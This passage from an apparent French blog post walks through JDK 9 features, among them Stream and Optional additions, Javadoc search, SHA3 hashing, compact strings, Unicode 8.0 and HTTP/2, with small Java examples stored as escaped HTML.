&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%d &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;on pourra directement mettre un &lt;em&gt;predicate&lt;/em&gt; — bien plus général donc que &lt;em&gt;limit&lt;/em&gt; — en argument. Un peu comme:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;iterate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%d &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;ofNullable&lt;/em&gt; retourne un &lt;em&gt;stream&lt;/em&gt; d&amp;rsquo;un élément ou un &lt;em&gt;stream&lt;/em&gt; vide dans le cas d&amp;rsquo;un élément &lt;em&gt;null&lt;/em&gt;. Ouais.&lt;/p&gt;
&lt;h2 id="javadoc"&gt;Javadoc&lt;/h2&gt;
&lt;p&gt;Remise en forme légère au niveau graphique de la &lt;em&gt;javadoc&lt;/em&gt;, passage à HTML5, support des commentaires &lt;em&gt;javadoc&lt;/em&gt; dans les déclarations de modules et &lt;strong&gt;ajout d&amp;rsquo;une zone de recherche&lt;/strong&gt;. Et ça s&amp;rsquo;est bien.&lt;/p&gt;
&lt;p&gt;&lt;img alt="jdk9-5-javadoc.png" src="https://blog.namok.be/public/images/divers/2018/jdk9/jdk9-5-javadoc.png" title="jdk9-5-javadoc.png"&gt;&lt;/p&gt;
&lt;h2 id="underscore"&gt;_ underscore est un mot clé&lt;/h2&gt;
&lt;p&gt;Le caractère &lt;code&gt;_&lt;/code&gt; est devenu un &lt;em&gt;keyword&lt;/em&gt; en java. Il ne peut plus être utilisé comme un &lt;em&gt;identifier&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="optional"&gt;La classe &lt;em&gt;Optional&lt;/em&gt; se dote de nouvelles méthodes&lt;/h2&gt;
&lt;p&gt;Quatre nouvelles méthodes également pour la classe &lt;code&gt;Optional&lt;/code&gt;: &lt;code&gt;ifPresent&lt;/code&gt;, &lt;code&gt;ifPresentOrElse&lt;/code&gt;, &lt;code&gt;or&lt;/code&gt; et &lt;code&gt;stream&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/* &lt;/span&gt;
&lt;span class="cm"&gt; * If factory fail to give a Video, create new video. &lt;/span&gt;
&lt;span class="cm"&gt; * Silly example.&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Optional&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Videos&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRandomVideo&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;or&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Video&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Beautiful Author&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;My beautiful video&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;

&lt;span class="n"&gt;ov&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ifPresent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;like&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="versions"&gt;Numérotation des versions&lt;/h2&gt;
&lt;p&gt;La numérotation des versions est revue — on abandonne définitivement le 1.x — et suit le schéma suivant (&lt;a href="http://openjdk.java.net/jeps/223"&gt;JEP223&lt;/a&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$MAJOR&lt;/span&gt;.&lt;span class="nv"&gt;$MINOR&lt;/span&gt;.&lt;span class="nv"&gt;$SECURITY&lt;/span&gt;.&lt;span class="nv"&gt;$PATCH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="sha"&gt;Algorithmes de hashages supplémentaires&lt;/h2&gt;
&lt;p&gt;Ajout des algorithmes &lt;em&gt;SHA3&lt;/em&gt; (&lt;a href="http://openjdk.java.net/jeps/283"&gt;JEP283&lt;/a&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;StringJoiner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;StringJoiner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Algorithms: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Security&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAlgorithms&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;MessageDigest&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sj&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Algorithms:&lt;span class="w"&gt; &lt;/span&gt;SHA3-512&lt;span class="w"&gt; &lt;/span&gt;SHA-384&lt;span class="w"&gt; &lt;/span&gt;SHA&lt;span class="w"&gt; &lt;/span&gt;SHA3-384&lt;span class="w"&gt; &lt;/span&gt;SHA-224&lt;span class="w"&gt; &lt;/span&gt;SHA-512/256&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;SHA-256&lt;span class="w"&gt; &lt;/span&gt;MD2&lt;span class="w"&gt; &lt;/span&gt;SHA-512/224&lt;span class="w"&gt; &lt;/span&gt;SHA3-256&lt;span class="w"&gt; &lt;/span&gt;SHA-512&lt;span class="w"&gt; &lt;/span&gt;MD5&lt;span class="w"&gt; &lt;/span&gt;SHA3-224
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour calculer un &lt;em&gt;hash&lt;/em&gt;, on peut écrire le code suivant et vérifier que le &lt;em&gt;hash&lt;/em&gt; est le même que celui fourni par &lt;code&gt;echo -n "Beautifulmessage" | sha3sum -a 512&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Beautifulmessage&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;MessageDigest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MessageDigest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;SHA3-512&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Message: %s\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Digest: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%02X&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NoSuchAlgorithmException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Algorithm error: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="strings"&gt;Réduction de l&amp;rsquo;espace de stockage des chaines&lt;/h2&gt;
&lt;p&gt;La représentation interne des chaines de caractères (&lt;em&gt;strings&lt;/em&gt;) économise de l&amp;rsquo;espace. Là où un &lt;em&gt;string&lt;/em&gt; était stocké dans un tableau de &lt;em&gt;char&lt;/em&gt; (2 &lt;em&gt;bytes&lt;/em&gt; par caractère), il l&amp;rsquo;est maintenant dans un tableau de &lt;em&gt;byte&lt;/em&gt; et un attribut représentant l&amp;rsquo;encodage,&lt;em&gt;encoding-flag field&lt;/em&gt; appelé &lt;em&gt;coder&lt;/em&gt; (&lt;a href="http://openjdk.java.net/jeps/254"&gt;JEP254&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Les caractères constituants les chaines étaient codés en UTF-16, chaque caractère occupant 1 &lt;em&gt;char&lt;/em&gt; (parfois 2), soient 2 &lt;em&gt;bytes&lt;/em&gt; (parfois 4). La plupart des chaines de caractères ne contiennent que des caractères Latin-1 (ISO-8859-1). Un caractère Latin-1 est codé sur 1 &lt;em&gt;byte&lt;/em&gt;. La nouvelle classe &lt;code&gt;String&lt;/code&gt; stocke les caractères &lt;strong&gt;soit&lt;/strong&gt; en Latin-1 (ISO-8859-1) &lt;strong&gt;soit&lt;/strong&gt; en UTF-16 en fonction du contenu de la chaine.&lt;/p&gt;
&lt;p&gt;Extraits de code source de la classe &lt;em&gt;String&lt;/em&gt; sans les commentaires:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// JDK8&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Serializable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Comparable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CharSequence&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Default to 0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;serialVersionUID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6849794470754667710L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


&lt;span class="c1"&gt;// JDK9&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Serializable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Comparable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CharSequence&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coder&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Default to 0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;serialVersionUID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6849794470754667710L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Java voit apparaitre deux nouvelles classes &lt;code&gt;StringUTF16&lt;/code&gt; et &lt;code&gt;StringLatin1&lt;/code&gt; et la classe &lt;code&gt;String&lt;/code&gt; se meuble d&amp;rsquo;instructions de style:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isLatin1&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;StringLatin1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;StringUTF16&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="unicode"&gt;Support d&amp;rsquo;unicode 8.0&lt;/h2&gt;
&lt;p&gt;JDK8 supportait Unicode 6.2, JDK9 supporte Unicode 8.0 (&lt;a href="http://openjdk.java.net/jeps/267"&gt;JEP267&lt;/a&gt;). &lt;em&gt;That&amp;rsquo;s all&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="http2"&gt;http2&lt;/h2&gt;
&lt;p&gt;Java passe d&amp;rsquo;une implémentation de HTTP/1.1 à HTTP/2 (&lt;a href="http://openjdk.java.net/jeps/110"&gt;JEP110&lt;/a&gt;). HTTP/1.1 posait quelques problèmes pour un &lt;em&gt;web&lt;/em&gt; du XXIe siècle&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
